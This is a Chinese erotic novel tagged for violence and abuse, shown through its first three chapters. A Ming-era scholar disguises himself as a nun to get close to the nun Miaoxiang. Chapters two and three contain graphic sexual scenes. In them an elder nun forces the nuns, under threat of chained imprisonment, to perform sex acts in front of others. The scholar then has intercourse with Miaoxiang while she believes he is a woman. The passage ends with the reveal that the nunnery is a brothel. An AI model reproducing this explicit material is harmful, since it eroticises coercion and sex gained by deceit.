欢喜禅[暴力虐待]

 

  标 题: 欢喜禅

  ——————————————————————————–

  目录

  第一回 痴情书生 避雨巧遇貌美小尼

  第二回 为近艳尼 不惜乔妆削髮剃度

  第三回 参欢喜禅 秀才偷欢得偿所愿

  第四回 情人被嫖 眼见凌辱醋意暗发

  第五回 移花接木 妙香施计巧救情郎

  第六回 痴男怨女 奇缘巧逢终成眷属

  ——————————————————————————–

  第一回 痴情书生 避雨巧遇貌美小尼

  天昏地暗,暴雨倾盆,黑云低压,日月无光!

  无情的闪电划破了漆黑的天空,震耳欲聋的霹雳声中劈中了泰山顶上一棵大青松。

  大青松顿时腾地冒起火燄,在暴雨仍然迅速燃烧着,然后『哗啦』一声,整个树身垮了下来,断成两截,『隆隆』地滚下山坡,一直滚入万丈深渊…

  五岳之首的泰山,一个时辰之前,尚是满山游人,转眼之间,便成了一座没有人影的空山。

  泰山之上,经常有这种突如其来的雷暴雨。

  这场发生在明朝末年的雷雨,也不过是一场普通的雷雨,不足为奇。

  谁也没想到,这场雷雨竟然造成了明代最惊险、最离奇、最香艳,同时也是最感人的一个传奇故事。

  话说,在这场雷雨发生的当日,在众多的游山仕女之中,有一位姓吴的秀才。

  他本来是江南人,刚刚在科试中落了第,心情苦闷,家人便劝他出来游山玩水,散散心、解解闷。

  正好他有个亲戚在泰安县衙门里当师爷,吴秀才决定趁这个机会,游一游心中向往已久的泰山,于是他便收拾了行装,来到泰安县,找到亲戚。

  这亲戚好歹也是个官,便安排了他登山的事宜。

  泰山号称天下第一山,数千级石阶,高耸入云,即使是年轻壮汉,也要爬得大气直喘,这吴秀才一介书生,自小就在书塾里苦读,四体不勤,白白的脸蛋,纤纤的十指,说话尖声细气,一眼望去,简直就像个女孩子,要叫他爬泰山,恐怕爬不了几步,就要趴下了。

  于是,亲戚便安排吴秀才坐『篮舆』上山。

  这种『篮舆』是古代人登山用的工具,其实就是竹兜、两个人抬着,中间是圆的,凹下一点,被褥铺在中间,坐着躺着都很舒服。

  吴秀才坐上『篮舆』,轻轻鬆鬆就到了南天门,他打赏了两个抬伕,然后便兴高彩烈,满山到处游赏。

  走着走着,不知不觉来到一座庙宇,抬头一看,上面挂着一个匾额,上面书了三个大字:『斗母宫』。

  斗母宫是座顺着山坡建起来的殿阁,屋宇参差不齐,好像鸿雁展翅,气派雄伟。

  吴秀才推门而入,祇见殿阁幽深,佛堂森严,皆在云雾之中,他正在摇头晃脑,吟诗作对之际,突然迎面走来一但满面皱纹的老尼姑,向他合掌而拜:「施主,何不到后堂品茶一歇?」

  吴秀才一看见尼姑,不由连连『呸!呸!』撒腿就跑。

  原来,他这次赴试之前,正巧遇到一位尼姑,结果名落孙山。

  吴秀才把他的失败归究于『碰见尼姑,沾上晦气』。

  现在游泰山,又碰上尼姑,真是倒霉透了。

  吴秀才赶快逃出了『斗母宫』,到别的山峰上游玩。

  天清气朗,吴秀才游玩青山绿水,不由得乐极忘返。

  没想到天有不测风云,转眼之间,乌云密布,狂风大作,接着天色为之一变,下起了大暴雨,雷电交加…

  吴秀才一辈子也没见过这种恐怖的天气,吓得心惊肉跳,急忙想找避雨的地方。

  这时,满山游客个个如落汤鸡一般,连滚带爬,鸡飞狗走,你推我挤,哭爷叫娘,争相躲避…

  吴秀才放眼一看,坏了,自己正好走到一座孤立的山峰上,四周没有一座庙宇可以避雨,他不由连连叫苦,慌忙之中,东逃西窜,突然间,他看到几块巨大的岩石相依,形成一个空洞,正好可以容纳几个人。

  他不由大喜,急忙大步跑上前去,站在岩洞之一角,地下潮湿,不能坐,他祇好站着,一面叹息自己倒霉,碰正这种鬼天气。

  雨越下越大,看起来毫无停止的徵象。

  吴秀才站得两脚发酸,单薄的衣服,也挡不住山风的吹袭,祇觉得浑身冰凉,又冻又饿,忍不住颤抖起来。

  「呜…」

  一阵女人的哭声,从风雨中隐隐约约传来。吴秀才定睛一看,祇见乌云滚滚,暴雨狂泻,眼前是朦朦胧胧一片混沌。

  在迷茫之中,模模糊糊可以看见一个女人的身影,用衣袖遮着头顶,摇摇晃晃,站立不稳,似乎也是个游山的妇女,被狂风暴雨吓破了胆,一时又找不到栖身之处,所以忍不住哭泣起来。

  吴秀才是个读书人,恻隐之心,自然有之。

  他知道在这个孤立的山峰上,再也没有庙宇民居可以躲雨,唯一可以躲雨的地方,就是自己站的这个岩洞,大概是风雨太猛了,那位妇女没能发现。

  「小娘子」吴秀才忍不住喊叫起来:「请往这边来,有岩洞可以避雨啊!」

  他喊了两声,便看见那人影用衣袖遮着头顶,顺着声音向岩洞跑来。

  「多亏相公出声提点。」那妇女进了洞、气喘吁吁,向吴秀才道着谢。

  一边说着,她一边把遮住头顶的衣袖放了下来。

  「苦啊!」吴秀才目瞪口呆,心中暗暗叫苦。

  这妇人头上光溜溜,像个葫芦,身上披着一件灰色的僧袍…又是一个尼姑。

  「多谢相公,小尼这里谢过了。」

  那尼姑看见吴秀才不出声,便十分有礼地,再次道谢。

  吴秀才也是个彬彬书生,虽然讨厌尼姑,人家那幺有礼,自己也不能太高傲了,于是他亦矜持地双手一揖:「小生吴秀才…」

  他说了半句,突然噎住,再也说不下去,两道目光盯在尼姑身上,再也移不开了。

  原来,这位尼姑在大雨中淋了好久,那件僧袍湿漉漉地,紧紧贴在她身上,恰似一件紧身衣,非常贴身,使得尼姑肉体的轮廓更加突出了,该肥的地方显得更加肥,该瘦的地方显得更瘦。

  尼姑的胸部,平常被宽大的僧袍罩住,几乎看不见,现在被湿衣一束,两颗饱满的桃子玲珑浮凸,巍巍颤动…

  吴秀才直看得眼睛几乎掉了下来,口中舌头完全不听大脑指挥了:「小娘子…不,大师,请问芳名…不,请问法号怎幺称呼?」

  尼姑见到他这般呆头呆脑的样子,忍不住掩嘴一笑。

  「小尼法号妙香。」

  「妙香?」吴秀才书呆子发作了,摇头晃脑地吟念着:「果然是妙处真妙,香处更香。请间大师宝剎何处?」

  「就是这里的斗母宫。」

  斗母宫?吴秀才想到刚才自己进了庵中,却遇到个丑陋的老尼,反而在这荒山石洞中,意外见到美貌的妙香,它不是冥冥中有注定呢?

  这时,他定睛打量妙香,祇见她容貌清秀,娇嫩白净,虽然没有涂脂抹粉,但是脸上泛起薄薄一层红潮,似像浅淡的朝阳。

  小小的嘴唇调皮一笑,细齿微现,足以使人看傻了眼…

  吴秀才祇觉自己的饑饿,寒冷顿时消矢了,一股热辣辣的血流,在周身上下急速地奔窜着…

  『噹…』一阵钟声远远传来。

  小尼姑睑色『刷』地一声变白了!

  「庵中敲钟召唤了,小尼就此告别。」

  吴秀才向洞外伸头一看,正是风狂雨猛。

  「你傻了。」吴秀才拉住妙香﹕「这样的天气,不如再等一会儿…」

  「不行,」妙香微微颤抖:「庵中规定,钟敲三遍,不来集合,便要严惩!」

  吴秀才想不到刚刚过见美人,竟然立刻要分手,心中实在不是滋味。

  「我…我可不可以…」吴秀才口中嚅嗫着:「…到斗母宫中去找你﹖」

  妙香浑身一震,两眼盯着吴秀才,脸色马上沉了下来:「尼姑庵中,佛门净地,岂容男人放肆﹗」

  她说罢,便奔出洞去,很快消失在茫茫的风雨中。

  吴秀才呆呆望着妙香,心中波涛起伏,惊鸿一瞥,妙香已经佔据了他的一颗心,他感受到从来没有的震撼。

  甚幺乡试省试、甚幺金榜状元,现在对他来说全是狗屁垃圾﹗

  「女人,我一定要得到妙香!」

  雨越下越大,妙香已经看不见了,祇有远处巍峨的斗母宫,在风雨中朦朦胧胧,像一座阴森的城堡。

  妙香就住在庵中,佛门重地,又是尼姑庵,男人既不能进去参观,也没有机会接近尼姑,更不用说俘获她的芳心了。

  「有甚幺办法,才能进入斗母宫,长期陪伴妙香左右呢?」

  「有甚幺办法,才能避开别的尼姑监视,和妙香促膝谈心,发动爱情攻势呢?」

  吴秀才苦苦思索,越想越失去信心。

  妙香不是普通女子、普通女子会有爱情的憧憬,会对男人一见锺情。

  但是妙香是尼姑,是个看破红尘,心如止水的佛门子弟,既使自己能见到她,又有甚幺法子能打动她呢?

  更何况,自己与妙香祇不过见了短促的一面、毫无交情,妙香很可能连他的名字都忘了。

  远处,斗母宫的钟声又响了起来,声声震撼他的心…

  吴秀才想起了纪律森严的斗母宫,想起妙香听到钟声时那种恐怖的神色,更想起了妙香义正词严的教训﹕「尼姑庵中,佛门净地,岂容男人放肆?」

  他茫然若失,不由自主走出了岩洞。

  风雨依然在肆虐着,吴秀才却没完全没知觉,步一步地走下山去。

  半个多月后的一天,风和日丽,斗母宫的红色大门敞开着,前来进香的善男信女和游山玩水的绅士淑女们,像潮水般在大门口进进出出,似乎永不停息。

  一个年青的村姑,穿着一身粉红色的衣裙,头正梳着低垂的髮髻,面上淡施脂粉,娇艳白净,好像映照下的荷花,走起路来,腰肢摇曳,轻盈婀娜,如同杨柳柔嫩的枝条随风摆动。

  小村姑随着进香的人流走入了斗母宫的大门,首先来到大殿之上,参拜观音佛像,她深深一拜,然后又扭动腰肢,穿过大殿,走入一条长长的昼廊,一直向后面走去。

  昼廓的尽头是一道高高的粉墙,中间有一扇大门,却紧紧关闭着。

  游人到此,就不会再向前走了,但是小村姑,轻轻推开大门,跨了进去。

  门后,是一片绿油油的青草地,远远可以看见一排庙宇,十分精緻。

  小村姑正要往前走,突然间,一个老尼姑不知何时已经站在她面前,合十施礼。

  「施主,这圆门之后,乃本庵僧尼修行之处,不容外人参观,请施主立刻出去。」

  没想到村姑突然『噗通』一声,跪在老尼姑面前,哭泣起来:「小女子名叫柳姑,祇因丈夫早逝,公婆百般欺凌,小女子情愿削髮为尼,皈依佛门。」

  柳姑哭的伤心,老尼姑忍不住长叹一声说:「既然如此,你且起来,随我去见主持吧。」

  老尼姑说罢,转身向里走去,柳姑垂首跟在她身后而行。

  柳姑不停地抽泣着,眼睛里却闪动着喜悦的光芒。

  原来,这个柳姑正是吴秀才所假扮的!

  这是他苦思冥想后,找到的一条妙计:要接近妙香,唯有自己当尼姑,而要想当尼姑,唯有先当女人。

  所以,这半个多月里,吴秀才偷偷买了女人衣服,躲在客栈中,练习女人说话、走路的形态,幸亏他本人就长得俊俏,常年读书,不晒太阳,皮肤细腻白净,再穿上了衣裙,涂上脂粉,一眼望去,真像个漂亮的小村姑。

  老尼姑把『柳姑』带到一座客厅中,指指椅子道:「你先在此歇息,待我去稟报主持。」

  老尼姑推开侧门,走了进去。『柳姑』吴秀才眼见自己妙计将实现,不由心头砰砰直响,抬头环视四周,发现大窗子外,有几个小尼姑贴着窗子偷偷看着他,窃窃私语,继而大笑。

  吴秀才心中忐忑不安,也不敢乱动。

  不一会儿,侧门推开,进来的却不是老尼姑,而是妙香!她手上捧着一个盘子,盘中放着茶杯、茶壶。

  妙香一直走到吴秀才身边,替他斟着茶。

  吴秀才见是妙香,一颗心『砰砰』直跳,呆呆望着她。

  妙香斟着茶,突然低声急促地说道:「赶快逃走﹗老尼姑的剃刀不是来削你的髮,而是来取你的命!」

  吴秀才大吃一惊,正想向她问个明白,回头头一看,老尼姑目露兇光,已经走来。

  她手中拿着把剃刀,锋利无比…

  欲知吴秀才性命如何,且听下回分解。

  

  

  ——————————————————————————–

  第二回 为近艳尼 不惜乔妆削髮剃度

  剃刀,闪闪发亮,锋利、无情…

  吴秀才眼见老尼姑手持剃刀,一步一步向他走来,一颗心紧张得几乎要跳出来。

  妙香为甚幺要发出警告呢?难道这老尼姑真的要来谋杀?

  老尼姑越来越近,吴秀才不禁两股颤慄,他几乎忍不住要跳起来,狂奔而出。

  但是,理智又提醒他:「这样一逃,今后再也见不到妙香了!」

  「老尼姑怎幺会杀我呢?」吴秀才脑子里飞快地思索着:「难道她看出我是男扮女装?不对呀,即使是这样,她祇要警诫一番,把我逐出庵去,不可能杀人呀﹗」

  吴秀才想到这里,心中稍为轻鬆了一些,但是,他转眼一漂,眼神又和妙香相交。

  妙香一双乌黑的大眼睛中、流露着关切、痛苦、紧张的神色。

  「不,妙香不会骗人的。」吴秀才一颗心又提到嗓子眼上了:「难道妙香已经认出是我,才来警告我?」

  就在吴秀才不停地胡思乱想之际,手持剃刀的老尼姑已经走到他面前。

  老尼姑冷若冰霜,目光冷冷地盯住吴秀才说:「女施主,我刚才稟告过本主持,主持慈悲为怀,已经同意接纳你为本庵尼姑。但是在你落髮之前,我给你一段时间考虑,一旦你出家,就要受到本寺规矩的约束,本寺的寺规严峻,你考虑清楚了,千万不要一时沖动…」

  老尼姑这番话,完全打消了吴秀才的疑虑。

  「这位老尼这幺有礼,这样体贴,甚幺谋杀?简直是笑话!」

  吴秀才这时已经判定,一定是妙香认出了他,不希望他到寺中来纠缠,所以故意危言耸听,想把他吓跑罢了。

  想到这里,吴秀才更加坚定了追求妙香的信心。

  于是,他学着女人的姿势,轻轻施了个礼,提着嗓子说道:「奴家心如止水,决心归依佛门,求大师成全。」

  老尼姑听罢,点了点头:「难得你有这点志气,好,上前跪下吧!」

  吴秀才扭着屁股,婀娜多姿地走到佛像前一个蒲团,跪了下来。

  老尼姑持着剃刀,来到他身边,一手抓住他长长的头髮,另一手慢慢拿起了剃刀…

  这时,大殿上钟鼓齐鸣,在旁观看的尼姑们纷纷合十,诵起了经文。

  吴秀才偷偷地扭头,瞟了一眼,祇见妙香闭着眼睛,面色苍白,也在喃喃诵经…

  小小的净室,纸窗外,一轮明月,几颗疏星。

  新削的头皮,光溜溜。

  吴秀才倚在窗前,一边望着窗外的月色,一边忍不住用手抚摸着自己的光头。

  一切,都太顺利了,他已经成为斗母宫的一个尼姑了。

  什幺生命危险,甚幺谋杀疑云,完全是一场虚惊,谁也没发现他是个男人。

  「现在的问题在于…」吴秀才望着窗外月色,心中盘算着,要怎幺样才能够接近妙香呢?

  木屋门『依呀』一声开了,一个小尼姑走了进来。

  吴秀才回头一看,果然正是妙香!

  他又惊又喜,呆呆望着自己的心上人。

  「难道她是来偷偷跟我幽会?」吴秀才心中狂喜。

  妙香望着他,合起手掌施了一礼:「妙莲。」

  吴秀才一时不知道她在说甚幺,也不知该如何来回答,他的目光像钉子一般,紧紧盯在妙香的胸脯上打转。

  粗布僧袍遮盖着的双乳,胸脯的轮廓几乎看不出来,但是吴秀才却贪婪地望着,脑海中又浮现出泰山上那场大雨,湿淋淋的僧袍紧贴在她的身上,乳峰的轮廓倍加突出…

  「妙莲师妹?」妙香见到吴秀才这副呆头呆脑的样子,不由有些莫名其抄,祇好又轻轻地呼唤他。

  吴秀才这时突然清醒过来,这才想起,下午在剃度的时候,那个老尼姑已经赐给他一个法号,叫作妙莲。

  「你在叫我?」吴秀才微笑着:「我…还不习惯这个名字。」

  「没关係。」妙香突然轻轻叹了一口气:「很快,你就会适应了。」

  吴秀才看着妙香那副样子,心中的疑惑又增加了:「妙香到底是不是认出了他?」

  「妙香」吴秀才实在忍不住了,便轻轻叫了她一声。

  妙香那双水汪汪的大眼睛闪烁着惊奇的眼光:「你怎幺知道我的名字﹖」

  「我们见过面的…」

  「真的吗?在哪里?」妙香的脸上流露着好奇的神色。

  吴秀才不由有些失望,看起来,妙香并没有认出他来,她早已忘记了那场雷雨,那个岩洞,那位书生…

  「哦…」吴秀才急忙编造出一个理由:「半年前,我来斗母宫进香,看到你和其他几个师姑在一起,有人叫你的法号,我记住了…」

  「你的记性可真好。」妙香微微一笑。

  「不错,」吴秀才踱着方步,踱到妙香身边,用手轻轻扶着她的肩膀道:「我还记得,在我落髮之前,你曾偷偷警告我,说老尼姑剃刀不是来剃髮,而是来取我的命!」

  妙香听到这里,不由得浑身一震,她微微后退,伸手把搁在她肩上的手捏了下来。

  吴秀才脸上保持着徵笑,又走到妙香面前,两眼直盯着她:「但是,剃刀为的是剃我的髮,也没有人来取我的命。我不明白,为甚幺你要这样欺骗我?」

  妙香的脸色白得像一张纸,她的嘴唇不住地颤抖着,她凝视着吴秀才,眼中饱含着怜悯、痛苦…

  「你想明白?」

  吴秀才缓缓地点了点头。

  妙香同情地走到他身边:「想明白,就跟我走。」

  说罢,妙香转身,一直向门口走去。

  吴秀才呆呆望着她的背影片刻,便撒腿跟了出去。

  长长的走廊,一个人影也没有,月儿高高挂在天上,整个斗母宫就好像镀上了一层白银。

  妙香头也不回,缓缓地在走廓上带着路,吴秀才跟在她后面亦步亦趋。

  夜风吹动走廊边边的悟桐树,发出了一阵『沙沙』的声响。

  吴秀才浑身打了个冷颤,黑夜中的斗母宫,的确和白天香火鼎盛的样子大不相同,充满了阴森、恐怖的气氛…

  走廊九曲十三拐,妙香一言不发,祇顾在前面带路,走了没多久,她停在一座假山前,伸手按着假山上一块红色的石头,假山突然『轰隆…』地响了起来,本来天衣无缝的岩石,竟然移动开来,露出一个小洞来。吴秀才祇看得目瞪口呆。

  「跟我来!」

  妙香低沉地说着,又领头走入山洞内去。

  吴秀才赶快跟了进去,抬头环视,原来山洞内有一道石阶,一直深入地底,下面是个很大的密室。

  密室的天花板上有个小小的铜窗,妙香把吴秀才领到铜窗前,示意他窥视。

  吴秀才把头凑到窗上一看,顿时吓得魂飞魄散。

  密室内,坐着几个尼姑,全身锁着铁鍊,个个蓬头垢首,瘦得皮包骨。

  在她们面前,是一大堆药材,她们有的用石杵捶打着、有的用刀切割着,忙得不可开交。

  在密室中间,有个很大的石磨,一个中年尼姑正吃力地推着磨,碾磨着药材…

  「这些都是不守寺规的尼姑。」妙香贴在吴秀才耳边,低声介绍着:「斗母宫的寺规严峻,如果有人胆敢违反,便要被抓入这密室中,罚做苦工…」

  吴秀才是个书生,平日里胆子就小,看到这可怕的密室,止不住心惊肉跳。

  「她们被关了多久了?」

  「有的才关的,也有的已经关了很久了。你看到那个推石磨的中年人吗?他已经被关了二十年了。」

  吴秀才两腿不由得抖了起来:「她犯了甚幺重罪?」

  「他?」妙香长叹一声:「他是个男的,因为…」妙香同情地望了望铜窗下的那个囚徒:「他是迷恋本寺一位师姑,假冒女性入寺,企图非礼,后来被人发觉,打入了密室,廿年不见天日…」

  妙香祇是低声说着,传入吴秀才耳中却像一阵惊雷!

  如果被人发现是男的,结果真是比死还惨啊!吴秀才牙齿不禁『格格』打颤,两腿发软,全身血液似乎一下子消失了。

  「多谢…」吴秀才吓得舌头也硬了:「多谢师姐指点。」

  「你不用谢我。」妙香脸上一丝笑容也没有:「我并不是偷偷带你来这里,而是本寺主持命令我带你来的。」

  「哦?」吴秀才胆颤心惊地问:「为甚幺主持要…」

  「主持要我告诉你,」妙香目光深沉地盯着:「现在,你已经是尼姑了,如果你不遵寺规,就会像这些人一样,打入密室做苦工…」

  「我遵守!」吴秀才急忙表白:「我一定老老实实遵守!」

  「身为尼姑,就要参禅,你知道吗?」

  「我知道,」吴秀才猛点头:「我一定参禅,但是…我不懂。」

  「主持要我来,就是带你去观看别的师姐参禅,等你学会之后,也就可以自己参禅了。」

  「是,是,」吴秀才几乎连大气也不敢喘了:「请问妙香师姐、待会儿我学的是甚幺禅?」

  妙香盯了他一眼,好半天才慢慢地回答:「欢喜禅。」

  尼姑参禅的地方,到底在哪里呢?

  佛殿、净室、祭坛?

  吴秀才一路跟着妙香走,一路揣测着,等到妙香停在一座花园中的时候,他才知道自己完全猜错了。

  花园正中,有一座精緻的小亭子,亭子中间,有两个年轻尼姑盘膝坐在蒲团上,正闭目诵经。

  妙香望着吴秀才,脸上不知怎的突然一红,悄悄地说:「你就坐在亭下,看一看她们如何参禅吧。」

  妙香说罢、一阵风似地就走开了。吴秀才挑了花园中一块大石头坐下,目不转睛地望着亭子中。

  两个尼姑念完了经,一起伸手解着僧袍上的布扣子,吴秀才生怕错漏一个动作,参不好禅受到重罚,便聚精会神地注视着。

  两个尼姑从蒲团上站了起来,那两件僧袍从她们身上滑到地上…

  吴秀才几乎忍不住要叫出来。

  亭中两个尼姑,完全是一丝不挂!

  吴秀才目瞪口呆,祇见两个尼姑裸体相对着,慢慢走到一起,然后一起伸手,握住对方的乳峰,缓缓地揉着、捏着、搓着…

  没有多久,两个小尼姑脸上便有如千朵红花绽开,她们仍然闭着眼睛,慢慢把头靠在一起,两张红红的小嘴唇紧紧贴在一起,久久不放。

  她们原来握乳的手现在都移到对方的身后,在光滑的背脊上抚摸着,在圆滚尖翘的屁股上不停地扒搔着,很快地,两个小尼姑的鼻子中就发出了一阵阵销魂蚀骨的呻吟…

  这阵呻吟一直传入吴秀才的耳朵,钻入他的心房,穿下他的小腹,勾起了全身熊熊慾火…

  亭子中,一个小尼姑似乎也被挑逗得无法克制了:「师姐,我忍不住了…好姐姐,救救我…」

  小尼姑全身发软,缓缓躺在地上。

  另外一个尼姑淫笑一声,居然像男的一样,骑了上去。

  两具白嫩滑溜的女人胴体,像两条大白蛇似的,紧紧盘绞在一起。

  吴秀才坐在大石上,看得眼珠子几乎要掉下来,胯下不停地膨胀着,顶得他觉得很难受。

  「难受…」底下的小尼姑呻吟着:「插…插…」

  骑在上面的尼姑伸手从亭子栏杆上,取下一条小黄瓜,在上面吐了一些口水,然后分开小尼的双腿…

  「啊!…啊…用力啊!…再深一些…」

  吴秀才祇觉得眼前迷迷糊湖,全身像是要爆炸,他快要疯狂了,就在此时,一只手拍拍他的肩膀。

  「妙莲,」老尼姑不知何时,已经站在他的后面,一面冰霜:「现在轮到你去参禅了!」

  这句话犹如一个晴天霹雳,炸得吴秀才三魂不见七魄:如果他去参禅,就要暴露男人身份,如果不参禅,就是违反寺规,两者都要打入密室做苦工!怎幺办?

  欲知事后如何,且听下回分解。

  

  

  ——————————————————————————–

  第三回 参欢喜禅 秀才偷欢得偿所愿

  话说吴秀才正在花园中参观两个尼姑做那『欢喜禅』,心猿意马之际,祇听见一声冰冷的言语:「妙莲,轮到你参禅了!」

  吴秀才回头一看,原来是那个老尼姑站在他后面,满面冰霜望着他。

  吴秀才心中暗暗叫苦,如果他上去参禅,就要赤身裸体,男人的身份就要暴露。

  「地牢中,那个假冒尼姑的男人被关了二十年,」吴秀才浑身颤抖:「如果我也跟他一样…」

  「怎幺﹖」老尼姑突然沉下了脸:「你想违抗寺规?刚才妙香带你去参观过地牢,那些做苦工的尼姑,全都是不遵寺规,被我打入牢中的,你是不是也想试一试箇中滋味呢?」

  「不,不…」吴秀才祇吓得面无血色。

  「上去!脱光衣服!」老尼姑声色俱厉。

  吴秀才魂飞魄散,手足无措,几乎想跪倒在老尼姑面前,求她宽恕。

  「师伯。」一声清脆悦耳的叫声,使得吴秀才稍为喘了一口气。

  这种声音他是太热悉了。

  他抬头一看,祇见妙香站在老尼姑身边施着礼。

  「师伯,」妙香垂着头,轻声细语:「想这妙莲师妹,刚刚进寺剃度,立刻要她当众脱衣参禅,一时思想上恐怕很难堪…」

  老尼姑听了这话,想了一下,慢慢地点点头:「嗯,妙香说的有道理,这样吧,你就带妙莲到禅房中去参禅,由妳来指导她。」

  「是。」

  老尼姑说罢,就转身走了。

  吴秀才呆呆望着妙香。

  刚才的心惊肉跳,转眼间消失得一乾二净,代之而来的是一阵狂喜。

  「妙香要和我参禅!」吴秀才高兴得几乎要跳起来:「我正苦于没法勾引她,想不到她竟然自动送上门来,自动献身…」

  「妙莲师妹,你跟我来吧。」

  妙香走到吴秀才面前,面无表情地说着,然后转身在前带路,离开了花园。

  吴秀才跟在妙香的身后,目不转睛地望着妙香的背影。

  虽然粗布僧袍遮盖着妙香的身子,但是吴秀才却忍不住幻想起来:「待会儿妙香和我参『欢喜禅』,她就要脱光全身衣服,任我抚摸了…」

  斗母宫内的走廊就像迷宫一般,吴秀才跟着妙香,拐得头昏眼花,终于来到一坐清静的禅房。

  妙香取出锁匙,打开房门上的铜锁,拉着吴秀才走入房中。

  房中黑漆漆一片,吴秀才睁大眼睛也看不清楚。

  妙香用火石点着了一盏油灯,吴秀才这才看清楚,禅房内祇放着一张床。

  妙香把油灯放在角落一个木架上,然后走到吴秀才面前,微微叹了一口气:「我知道你很难接受,不过,没有办法,还是把衣服脱了吧。」

  妙香说着,自己伸手去脱僧袍。吴秀才一颗心『砰砰』直跳。

  心中忖道:「很快,我就看见她的裸体了。」

  妙香脱下僧袍,里面穿着一件薄薄的汗衫和一条短裤。

  她若无其事,伸手又将汗衫剥了下来…

  两颗白晰晰的雪梨一下子从衣衫下跳了出来,在妙香的胸脯上颤抖着…

  吴秀才贪婪地盯着两颗雪梨,眼中几乎要冒出火来,他恨不得伸手去摘这丰满的果实,含在口中,慢慢地品尝品尝…

  妙香丝毫也没发现吴秀才的异样表情,她弯下身子,伸手去解短裤的裤腰带…

  吴秀才两眼睁得大大的,眼珠子几乎要掉下来,他的呼吸不由急促起来﹕

  「短裤一脱,妙香最重要的部位,就无遮无掩地暴露在我面前了!」

  妙香鬆开了短裤的腰带,短裤自动沿着她两条大褪滑了下来…

  一团黑黝黝毛茸茸的山草倒垂而下,铺满雪白的峭壁,遮盖着峭壁下的那个岩洞,洞口红红艳艳、清泉湿润,晶莹透亮,份外神秘…

  吴秀才祇觉得自己体内有股热气,不停地膨胀着、膨胀着,胀得很难受…

  妙香头也不抬,望也不望吴秀才一眼,自己便爬上床,并躺了下来,两手枕着自己的头,呆呆望着天窗,眼睛睁开着,似乎在想着甚幺,隔了一会儿,她突然开腔了:

  「妙莲,我不看着你,免得你难堪。你自己把衣服脱了吧。」

  「哎,多谢师姐。」

  吴秀才一边回答着,一边伸手脱自己的僧袍,心中不由偷笑起来…

  「真是太顺利了!没想到我这次冒险竟是那幺一帆风顺,无惊无险,没人发现我是男人。现在连妙香也赤裸裸自愿躺在床上,等着我参『欢喜禅』,甚至连我脱衣服也不看,真是天助我也!」

  吴秀才故意把身子朝向墙壁、手忙脚乱地脱光自己全身衣服,然后偷偷瞟了妙香一眼,见她毫不在意,仍在望着天窗,便『飒』地一声跳上床去,闪电般地钻入棉被中。

  吴秀才躺在妙香身边,却不敢接触她的肌肤。

  妙香似乎也毫无知觉,一动不动,丝毫没有做『欢喜禅』的样子。

  吴秀才有些纳闷了:「妙香师姐,咱们不用做‘欢喜禅’了?」

  妙香转过头来,望着着秀才,晶亮的大眼睛中透露出同情的神色:「妙莲,我明白的,你一个妇道人家,要你做这种事情是很难堪的。咱们就这样躺着吧,如果老尼姑不来,咱们就不用做了。」

  「老尼姑会来看?」吴秀才吃了一惊。

  妙香伸手指了指天窗:「这上面是另外一间神室,老尼姑如果来到,就会通过这个天窗来监视尼姑是否真的在做『欢喜禅』的。」

  吴秀才听了这话,情不自禁瞟了天窗一眼。

  天窗一团漆黑,甚幺也看不清。

  吴秀才不由打了个寒噤。

  「对了,妙香师姐,在我剃度之前,你曾偷偷警告我,说老尼姑的剃刀是要取我的命,到底是甚幺意思?」

  妙香注视着吴秀才,脸上愁云惨淡,几乎没甚幺血色,她嘴唇微微颤抖着,正想说些甚幺…

  突然间,天窗上传来了一阵『沙沙』的脚步声,妙香脸色大变:「老尼姑来了!快开始做『欢喜禅』!」

  妙香急忙掀开了棉被,两个精光的肉体无遮无盖,吴秀才急忙一个翻身,把屁股朝天。

  「妙莲,你要假装很陶醉…」妙香紧张地低声吩咐:「你躺着,我服侍你,但是你要淫声浪叫…」

  「不,妙香姐,你躺着,我来服侍你!」

  吴秀才说罢,便伸头依偎在妙香雪白的胸脯上,张口含住了那个饱满的梨子,津津有味地舐了起来。

  天窗上,老尼姑偷窥着,她从上而下望去,祇看见吴秀才白白的肉体和屁股。

  吴秀才的舌头不停地撩拨着,他很快感觉到,口中的雪梨很快涨大了,而且逐渐变得很硬…

  吴秀才的手掌,像一条长蛇,顺着那片又白又滑的峭壁缓缓爬行而下,钻入那片又黑又粗的杂草之中,放肆地游蕩着…

  偶尔,它在洞口调皮地磨擦着,偶尔,它把头悄悄伸入洞中,戏弄着那肉洞中汨汨的山泉…

  妙香四肢瘫软,不知是为了给老尼姑看,故意发出骚声,还是真的被吴秀才勾起了少女的情慾,无法自制,她发出了一阵阵的呻吟…

  这呻吟声钻入吴秀才的耳中,简直比春药更有效,他祇觉得销魂蚀骨,春心大蕩…

  吴秀才口、手并用,足足在妙香的肉体上挨擦了半个时辰…

  妙香的呻吟变成了浪蕩的狂叫…

  细细的玉泉转眼间变成了奔腾的山洪…

  两条柔软的大腿高高翘起,紧紧夹住吴秀才的腰,拚命摇晃着:

  「黄瓜,」妙香浪呼着:「我要黄瓜!」

  吴秀才侧头一看,房中桌上,果然放着一条黄瓜。

  他一笑,爬下床来,走到桌前,拿着黄瓜,正要回到床上。

  「把灯吹熄吧。」妙香的声音突然大了一些:「老尼姑已经走了。」

  吴秀才吹熄了油灯,房内一团漆黑,他爬回床上,紧挨着妙香,祇觉她全身滚烫…

  「黄瓜,妙莲,用黄瓜!」

  吴秀才在黑夜中紧累搂着妙香,调笑着:「老尼姑走了,你还要黄瓜?」

  妙香喘息着:「你是天生的蕩妇,我刚才被你一弄,全身慾火狂燃…我要黄瓜!我要!」

  吴秀才兴奋地跨上了妙香的身上,说道:「黄瓜来了!」

  说着,他悄悄把那条黄瓜塞到床下边,把自己那条『黄瓜』对準了水淋淋的洞口,狠命地塞了进去…

  夜,禅房的木床发出了『吱吱』的有节奏的响声,妙香的狂呼浪叫顿时消失了,祇是在喉啼中发出一阵似笑非笑,似哭非哭的怪声…

  吴秀才时而轻描淡写,时而狂风骤雨,时而又缓又慢,时而疾如奔马,时而直来直去,时而四出游蕩,时而研磨挨擦,时而狠命戳插…

  很久,很久…

  浪潮终于平息了。黑暗中祇听见二人微微的喘息:「原来你是个男的。」

  「黄瓜没有原装货那幺有效吧﹗」

  「为甚幺你要冒险这样做﹖」

  「记得吗?有一天大雷雨,有个书生招呼你进岩洞﹖」

  「你就是那书生?」妙香惊诧:「为甚幺?」

  「因为我太爱你了!」

  妙香突然紧紧搂住吴秀才,雨点般的吻落在他脸上,胸膛上,喉咙哽咽着道:「郎君,你这次真是铸成大错了!你死定了!」

  「为甚幺?」

  「因为斗母宫不是尼姑庵,而是一座妓院!」

